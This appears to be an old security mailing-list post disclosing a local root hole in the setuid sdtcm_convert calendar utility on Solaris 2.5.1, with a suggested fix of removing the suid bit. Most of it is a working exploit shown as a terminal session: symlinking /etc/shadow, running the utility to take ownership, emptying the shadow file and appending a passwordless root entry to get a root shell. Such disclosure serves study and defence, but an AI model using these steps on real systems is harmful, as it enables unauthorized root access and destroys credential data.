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- Another hole in Solaris
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- I have found a security hole in sdtcm_convert on Solaris 2.5.1.
- sdtcm_convert - calendar data conversion utility - allows any user to
- change the owner for any file (or directory) from the system or gain root
- access. The exploit is very simple. Change the permision mode of your calendar
- file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run
- sdtcm_convert. sdtcm_convert 'll observe the change and 'll want to
- correct it (it 'll ask you first). You have only to delete the callog file
- and make a symbolic link to a target file and your calendar file and said to
- sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target
- file ...
- A simple way to correct this is to get out suid_exec bit from
- sdtcm_convert.
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- CDE is generally a can of worms.
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- 22:15 [wumpus:~] % whoami
- adam
- 22:15 [wumpus:~] % ls -l /etc/shadow
- -r-------- 1 root sys 291 Jul 11 22:14 /etc/shadow
- 22:15 [wumpus:~] % ln -s /etc/shadow /tmp/calorig.adam
- 22:15 [wumpus:~] % /usr/dt/bin/sdtcm_convert -d /tmp -v 3 adam
- Loading the calendar ...
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- WARNING!! Data will be lost when converting version 4 data format
- back to version 3 data format.
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- Do you want to continue? (Y/N) [Y] y
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- Doing conversion ...
- Writing out new file ...
- Conversion done successfully.
- Total number of appointments = 0
- Number of one-time appointments converted = 0
- Number of repeating appointments converted = 0
- Number of one-time appointments pruned = 0
- Number of repeating appointments pruned = 0
- The original file is saved in /tmp/calorig.adam
- 22:15 [wumpus:~] % ls -l /etc/shadow
- -r--rw---- 1 adam daemon 3114 Jul 11 22:15 /etc/shadow
- 22:15 [wumpus:~] % chmod 644 /etc/shadow
- 22:15 [wumpus:~] % cp /dev/null /etc/shadow
- cp: overwrite /etc/shadow (y/n)? y
- 22:15 [wumpus:~] % ls -l /etc/shadow
- -rw-r--r-- 1 adam daemon 0 Jul 11 22:15 /etc/shadow
- 22:15 [wumpus:~] % echo "root::6445::::::" >> /etc/shadow
- 22:16 [wumpus:~] % su
- # id
- uid=0(root) gid=1(other)
- # exit
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